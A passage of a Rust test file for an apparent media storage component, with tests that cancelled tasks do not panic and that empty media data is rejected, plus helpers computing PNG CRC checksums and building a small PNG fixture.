.collect();
ctx.cancel.cancel();
let results: Vec<_> = futures::future::join_all(handles).await;
for (i, r) in results.iter().enumerate() {
match r.as_ref().unwrap() {
Ok(_) => {} Err(e) => {
let msg = e.to_string();
assert!(
!msg.contains("panicked"),
"task {i} panicked during cancellation: {msg}"
);
}
}
}
}
#[tokio::test]
async fn store_empty_data_via_context_rejected() {
let (_dir, ctx) = setup().await;
let result = ctx.store_media(b"", "evil_task").await;
assert!(result.is_err(), "empty data must be rejected");
assert!(
result.unwrap_err().to_string().contains("NIKA-258"),
"expected NIKA-258 for empty media content"
);
}
#[allow(dead_code)]
fn png_crc(chunk_type: &[u8], data: &[u8]) -> u32 {
let table = crc32_table();
let mut crc: u32 = 0xFFFF_FFFF;
for &b in chunk_type.iter().chain(data.iter()) {
crc = table[((crc ^ b as u32) & 0xFF) as usize] ^ (crc >> 8);
}
crc ^ 0xFFFF_FFFF
}
#[allow(dead_code)]
fn crc32_table() -> [u32; 256] {
let mut t = [0u32; 256];
for n in 0..256u32 {
let mut c = n;
for _ in 0..8 {
c = if c & 1 != 0 {
0xEDB88320 ^ (c >> 1)
} else {
c >> 1
};
}
t[n as usize] = c;
}
t
}
#[cfg(feature = "media-thumbnail")]
fn fixture_png_10x10() -> Vec<u8> {
use image::{ImageBuffer, Rgba};
let img = ImageBuffer::from_pixel(10, 10, Rgba([200u8, 100, 50, 255]));
let mut buf = Vec::new();
let enc = image::codecs::png::PngEncoder::new(&mut buf);
image::ImageEncoder::write_image(
enc,
img.as_raw(),
10,
10,
image::ExtendedColorType::Rgba8,
)
.unwrap();
buf
}
}